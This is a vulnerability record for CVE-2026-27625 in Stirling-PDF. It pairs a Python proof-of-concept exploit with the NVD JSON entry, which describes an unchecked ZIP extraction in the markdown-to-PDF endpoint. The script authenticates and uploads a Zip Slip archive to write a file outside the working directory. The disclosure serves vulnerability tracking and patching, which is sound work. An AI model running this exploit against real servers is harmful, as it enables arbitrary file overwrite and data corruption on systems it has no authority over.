CVE-2026-27625

import requests import zipfile import io # Target configuration target_url = "http://localhost:8080/api/v1/convert/markdown/pdf" login_url = "http://localhost:8080/api/v1/auth/login" username = "attacker" password = "password" # Create a requests session session = requests.Session() # Step 1: Authenticate to get a valid session login_payload = { "username": username, "password": password } login_response = session.post(login_url, json=login_payload) if login_response.status_code != 200: print("Login failed") exit() # Step 2: Create a malicious ZIP file using Zip Slip technique # This attempts to write a file outside the extraction directory zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # The path "../../tmp/pwned.txt" tries to escape the temp folder zf.writestr("../../tmp/pwned.txt", "This is an arbitrary file write via CVE-2026-27625") zip_buffer.seek(0) # Step 3: Send the exploit payload files = { 'file': ('exploit.zip', zip_buffer, 'application/zip') } response = session.post(target_url, files=files) print(f"Exploit sent. Status Code: {response.status_code}") print(f"Response: {response.text}")

{"cve": {"id": "CVE-2026-27625", "sourceIdentifier": "[email protected]", "published": "2026-03-20T09:16:13.857", "lastModified": "2026-03-24T16:03:23.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stirling-PDF is a locally hosted web application that performs various operations on PDF files. In versions prior to 2.5.2, the /api/v1/convert/markdown/pdf endpoint extracts user-supplied ZIP entries without path checks. Any authenticated user can write files outside the intended temporary working directory, leading to arbitrary file write with the privileges of the Stirling-PDF process user (stirlingpdfuser). This can overwrite writable files and compromise data integrity, with further impact depending on writable paths. The issue was fixed in version 2.5.2."}, {"lang": "es", "value": "Stirling-PDF es una aplicación web alojada localmente que realiza diversas operaciones en archivos PDF. En versiones anteriores a la 2.5.2, el endpoint /API/v1/convert/markdown/pdf extrae entradas ZIP proporcionadas por el usuario sin comprobaciones de ruta. Cualquier usuario autenticado puede escribir archivos fuera del directorio de trabajo temporal previsto, lo que lleva a la escritura arbitraria de archivos con los privilegios del usuario del proceso de Stirling-PDF (stirlingpdfuser). Esto puede sobrescribir archivos escribibles y comprometer la integridad de los datos, con un impacto adicional dependiendo de las rutas escribibles. El problema se solucionó en la versión 2.5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:stirling:stirling_pdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.2", "matchCriteriaId": "EE82913D-A442-4C18-847F-741630FC4CD0"}]}]}], "references": [{"url": "https://github.com/Stirling-Tools/Stirling-PDF/releases/tag/v2.5.2", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-wccq-mg6x-2w22", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}